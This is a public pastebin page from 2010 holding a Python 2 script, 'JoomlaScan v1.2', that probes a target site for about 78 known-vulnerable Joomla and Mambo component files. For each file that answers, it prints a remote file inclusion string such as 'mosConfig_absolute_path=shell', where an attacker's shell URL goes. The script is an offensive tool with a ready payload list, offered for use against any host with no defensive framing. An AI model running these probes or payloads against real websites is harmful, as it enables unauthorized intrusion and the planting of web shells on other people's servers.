NoPaste.me

Secure and Anonymous

Login

  • Only for Administration!
username 1nject
Time 25.08.2010 - 01:25
Scriptname Jooma Scan Python
Code Language Python
This paste is public Public
Show Options
  1. #!usr/bin/python
  2. #Joomla Vulnerability Scan
  3. #Scans known vulnerable RFI path/files in Joomla and reports http response.
  4.  
  5. #Changelog ver1.1: added proxy support, shells, 404 option
  6.  
  7. #Changelog ver1.2: fixed joomla path problem
  8.  
  9. #http://www.darkc0de.com
  10. #d3hydr8[at]gmail[dot]com
  11.  
  12. import sys, re, httplib, time, socket
  13.  
  14. def main(path):
  15.         try:
  16.                 if proxy != 0:
  17.                         h.putrequest("GET", "http://"+host+"/"+path)
  18.                 else:
  19.                         h.putrequest("HEAD", path)
  20.                 h.putheader("Host", host)
  21.                 h.endheaders()
  22.                 status, reason, headers = h.getreply()
  23.                 return status, reason
  24.         except(), msg:
  25.                 print "Error Occurred:",msg
  26.                 pass
  27.  
  28. def timer():
  29.         now = time.localtime(time.time())
  30.         return time.asctime(now)
  31.  
  32. print "nt   d3hydr8[at]gmail[dot]com JoomlaScan v1.2"
  33. print "t--------------------------------------------"
  34.  
  35. if len(sys.argv) < 2 or len(sys.argv) > 5:
  36.         print "nUsage: ./joomlascan.py <site> <options>"
  37.         print "t[options]"
  38.         print "t   -p/-proxy <host:port> : Add proxy support"
  39.         print "t   -404 : Won't show 404 responses"
  40.         print "Ex: ./joomlascan.py www.test.com -404 -proxy 127.0.0.1:8080n"
  41.         sys.exit(1)
  42.  
  43. for arg in sys.argv[1:]:
  44.         if arg.lower() == "-p" or arg.lower() == "-proxy":
  45.                 proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
  46.         if arg.lower() == "-404":
  47.                 show = 404
  48.  
  49. try:
  50.         if proxy:
  51.                 print "n[+] Testing Proxy..."
  52.                 h2 = httplib.HTTPConnection(proxy)
  53.                 h2.connect()
  54.                 print "[+] Proxy:",proxy
  55. except(socket.timeout):
  56.         print "n[-] Proxy Timed Out"
  57.         proxy = 0
  58.         pass
  59. except(NameError):
  60.         print "n[-] Proxy Not Given"
  61.         proxy = 0
  62.         pass
  63. except:
  64.         print "n[-] Proxy Failed"
  65.         proxy = 0
  66.         pass
  67.  
  68. paths = {"components/com_flyspray/startdown.php" : "startdown.php?file=shell",
  69.                 "administrator/components/com_admin/admin.admin.html.php" : "admin.admin.html.php?mosConfig_absolute_path=shell",
  70.                 "components/com_simpleboard/file_upload.php" : "file_upload.php?sbp=shell",
  71.                 "components/com_hashcash/server.php" : "server.php?mosConfig_absolute_path=shell",
  72.                 "components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php" : "config.inc.php?mosConfig_absolute_path=shell",
  73.                 "components/com_sitemap/sitemap.xml.php" : "sitemap.xml.php?mosConfig_absolute_path=shell ",
  74.                 "components/com_performs/performs.php" : "performs.php?mosConfig_absolute_path=shell",
  75.                 "components/com_forum/download.php" : "download.php?phpbb_root_path=shell",
  76.                 "components/com_pccookbook/pccookbook.php" : "pccookbook.php?mosConfig_absolute_path=shell",
  77.                 "components/com_extcalendar/extcalendar.php" : "extcalendar.php?mosConfig_absolute_path=shell",
  78.                 "components/minibb/index.php" : "index.php?absolute_path=shell",
  79.                 "components/com_smf/smf.php" : "smf.php?mosConfig_absolute_path=",
  80.                 "modules/mod_calendar.php" : "mod_calendar.php?absolute_path=shell ",
  81.                 "components/com_pollxt/conf.pollxt.php" : "conf.pollxt.php?mosConfig_absolute_path=shell ",
  82.                 "components/com_loudmounth/includes/abbc/abbc.class.php" : "abbc.class.php?mosConfig_absolute_path=shell",
  83.                 "components/com_videodb/core/videodb.class.xml.php" : "videodb.class.xml.php?mosConfig_absolute_path=shell",
  84.                 "components/com_pcchess/include.pcchess.php" : "include.pcchess.php?mosConfig_absolute_path=shell",
  85.                 "administrator/components/com_multibanners/extadminmenus.class.php" : "extadminmenus.class.php?mosConfig_absolute_path=shell",
  86.                 "administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php" : "admin.a6mambohelpdesk.php?mosConfig_live_site=shell",
  87.                 "administrator/components/com_colophon/admin.colophon.php" : "admin.colophon.php?mosConfig_absolute_path=shell",
  88.                 "administrator/components/com_mgm/help.mgm.php" : "help.mgm.php?mosConfig_absolute_path=shell",
  89.                 "components/com_mambatstaff/mambatstaff.php" : "mambatstaff.php?mosConfig_absolute_path=shell",
  90.                 "components/com_securityimages/configinsert.php" : "configinsert.php?mosConfig_absolute_path=shell",
  91.                 "components/com_securityimages/lang.php" : "lang.php?mosConfig_absolute_path=shell",
  92.                 "components/com_artlinks/artlinks.dispnew.php" : "artlinks.dispnew.php?mosConfig_absolute_path=shell",
  93.                 "components/com_galleria/galleria.html.php" : "galleria.html.php?mosConfig_absolute_path=shell",
  94.                 "akocomments.php" : "akocomments.php?mosConfig_absolute_path=shell",
  95.                 "administrator/components/com_cropimage/admin.cropcanvas.php" : "admin.cropcanvas.php?cropimagedir=shell",
  96.                 "administrator/components/com_kochsuite/config.kochsuite.php" : "config.kochsuite.php?mosConfig_absolute_path=shell",
  97.                 "administrator/components/com_comprofiler/plugin.class.php" : "plugin.class.php?mosConfig_absolute_path=shell",
  98.                 "components/com_zoom/classes/fs_unix.php" : "fs_unix.php?mosConfig_absolute_path=shell",
  99.                 "components/com_zoom/includes/database.php" : "database.php?mosConfig_absolute_path=shell",
  100.                 "administrator/components/com_serverstat/install.serverstat.php" : "install.serverstat.php?mosConfig_absolute_path=shell",
  101.                 "components/com_fm/fm.install.php" : "fm.install.php?lm_absolute_path=shell",
  102.                 "administrator/components/com_mambelfish/mambelfish.class.php" : "mambelfish.class.php?mosConfig_absolute_path=shell",
  103.                 "components/com_lmo/lmo.php" : "lmo.php?mosConfig_absolute_path=shell",
  104.                 "administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php" : "toolbar.linkdirectory.html.php?mosConfig_absolute_ path=shell",
  105.                 "components/com_mtree/Savant2/Savant2_Plugin_textarea.php" : "Savant2_Plugin_textarea.php?mosConfig_absolute_path=shell",
  106.                 "administrator/components/com_jim/install.jim.php" : "install.jim.php?mosConfig_absolute_path=shell",
  107.                 "administrator/components/com_webring/admin.webring.docs.php" : "admin.webring.docs.php?component_dir=shell",
  108.                 "administrator/components/com_remository/admin.remository.php" : "admin.remository.php?mosConfig_absolute_path=shell",
  109.                 "administrator/components/com_babackup/classes/Tar.php" : "Tar.php?mosConfig_absolute_path=shell",
  110.                 "administrator/components/com_lurm_constructor/admin.lurm_constructor.php" : "admin.lurm_constructor.php?lm_absolute_path=shell",
  111.                 "components/com_mambowiki/MamboLogin.php" : "MamboLogin.php?IP=shell",
  112.                 "administrator/components/com_a6mambocredits/admin.a6mambocredits.php" : "admin.a6mambocredits.php?mosConfig_live_site=shell",
  113.                 "administrator/components/com_phpshop/toolbar.phpshop.html.php" : "toolbar.phpshop.html.php?mosConfig_absolute_path=shell",
  114.                 "components/com_cpg/cpg.php" : "cpg.php?mosConfig_absolute_path=shell",
  115.                 "components/com_moodle/moodle.php" : "moodle.php?mosConfig_absolute_path=shell ",
  116.                 "components/com_extended_registration/registration_detailed.inc.php" : "registration_detailed.inc.php?mosConfig_absolute_path=shell",
  117.                 "components/com_mospray/scripts/admin.php" : "admin.php?basedir=shell",
  118.                 "administrator/components/com_bayesiannaivefilter/lang.php" : "lang.php?mosConfig_absolute_path=shell",
  119.                 "administrator/components/com_uhp/uhp_config.php" : "uhp_config.php?mosConfig_absolute_path=shell",
  120.                 "administrator/components/com_peoplebook/param.peoplebook.php" : "param.peoplebook.php?mosConfig_absolute_path=shell",
  121.                 "administrator/components/com_mmp/help.mmp.php" : "help.mmp.php?mosConfig_absolute_path=shell",
  122.                 "components/com_reporter/processor/reporter.sql.php" : "reporter.sql.php?mosConfig_absolute_path=shell",
  123.                 "components/com_madeira/img.php" : "img.php?url=shell",
  124.                 "components/com_jd-wiki/lib/tpl/default/main.php" : "main.php?mosConfig_absolute_path=shell",
  125.                 "components/com_bsq_sitestats/external/rssfeed.php" : "rssfeed.php?baseDir=shell",
  126.                 "com_bsq_sitestats/external/rssfeed.php" : "rssfeed.php?baseDir=shell",
  127.                 "components/com_slideshow/admin.slideshow1.php" : "admin.slideshow1.php?mosConfig_live_site=shell",
  128.                 "administrator/components/com_panoramic/admin.panoramic.php" : "admin.panoramic.php?mosConfig_live_site=shell",
  129.                 "administrator/components/com_mosmedia/includes/credits.html.php" : "credits.html.php?mosConfig_absolute_path=shell",
  130.                 "administrator/components/com_mosmedia/includes/info.html.php" : "info.html.php?mosConfig_absolute_path=shell",
  131.                 "administrator/components/com_mosmedia/includes/media.divs.php" : "media.divs.php?mosConfig_absolute_path=shell",
  132.                 "administrator/components/com_mosmedia/includes/media.divs.js.php" : "media.divs.js.php?mosConfig_absolute_path=shell",
  133.                 "administrator/components/com_mosmedia/includes/purchase.html.php" : "purchase.html.php?mosConfig_absolute_path=shell",
  134.                 "administrator/components/com_mosmedia/includes/support.html.php" : "support.html.php?mosConfig_absolute_path=shell",
  135.                 "administrator/components/com_wmtportfolio/admin.wmtportfolio.php" : "admin.wmtportfolio.php?mosConfig_absolute_path=shell",
  136.                 "components/com_mp3_allopass/allopass.php" : "components/com_mp3_allopass/allopass.php?mosConfig_live_site=shell",
  137.                 "components/com_mp3_allopass/allopass-error.php" : "components/com_mp3_allopass/allopass-error.php?mosConfig_live_site=shell",
  138.                 "administrator/components/com_jcs/jcs.function.php" : "administrator/components/com_jcs/jcs.function.php?mosConfig_absolute_path=shell",
  139.                 "administrator/components/com_jcs/view/add.php" : "administrator/components/com_jcs/view/add.php?mosConfig_absolute_path=shell",
  140.                 "administrator/components/com_jcs/view/history.php" : "administrator/components/com_jcs/view/history.php?mosConfig_absolute_path=shell",
  141.                 "administrator/components/com_jcs/view/register.php" : "administrator/components/com_jcs/view/register.php?mosConfig_absolute_path=shell",
  142.                 "administrator/components/com_jcs/views/list.sub.html.php" : "administrator/components/com_jcs/views/list.sub.html.php?mosConfig_absolute_path=shell",
  143.                 "administrator/components/com_jcs/views/list.user.sub.html.php" : "administrator/components/com_jcs/views/list.user.sub.html.php?mosConfig_absolute_path=shell",
  144.                 "administrator/components/com_jcs/views/reports.html.php" : "administrator/components/com_jcs/views/reports.html.php?mosConfig_absolute_path=shell",
  145.                 "com_joomla_flash_uploader/install.joomla_flash_uploader.php" : "com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=shell",
  146.                 "com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php" : "com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?mosConfig_absolute_path=shell"}
  147.  
  148. host = sys.argv[1]
  149. print "[+] Target:",host
  150. try:
  151.         if show == 404:
  152.                 print "[+] 404 Block Onn"
  153. except(NameError):
  154.         print "[-] 404 Block Offn"
  155.         show = 0
  156.         pass
  157. print "[+] Loaded:",len(paths),"paths"
  158. host = host.replace("http://","")
  159. if host.count("/") >= 2:
  160.         j_path = host.split("/",1)[1].replace("index.php","")
  161.         host = host.split("/",1)[0]
  162. else:
  163.         if host[-1:] == "/":
  164.                 host = host[:-1]
  165.         j_path = ""
  166.  
  167. if j_path[-1:] != "/":
  168.         j_path = j_path+"/"
  169.  
  170. print "[+] Started:",timer()
  171. print "[+] Scanning..."
  172. time.sleep(3)
  173.  
  174. if proxy != 0:
  175.         h = httplib.HTTP(proxy)
  176. else:
  177.         h = httplib.HTTP(host)
  178.  
  179. for path, shell in paths.items():
  180.         print "n[+] Trying:",j_path+path
  181.         try:
  182.                 response, reason = main(j_path+path)
  183.                 if show != 404:
  184.                         print "[+] Got:",response, reason
  185.                         print "[+] Shell:",shell
  186.                 else:
  187.                         if response != 404:
  188.                                 print "[+] Got:",response, reason
  189.                                 print "[+] Shell:",shell
  190.  
  191.         except(AttributeError, TypeError, socket.error):
  192.                 pass
  193.         except(KeyboardInterrupt):
  194.                 pass
  195. print "n[-] Done:",timer(),"n"
  196.  
© All Rights reserved. NoPaste.me - We have 18108 Pastes at this time - Imprint - twitter Follow us! - Login
Hosted by MyHost.to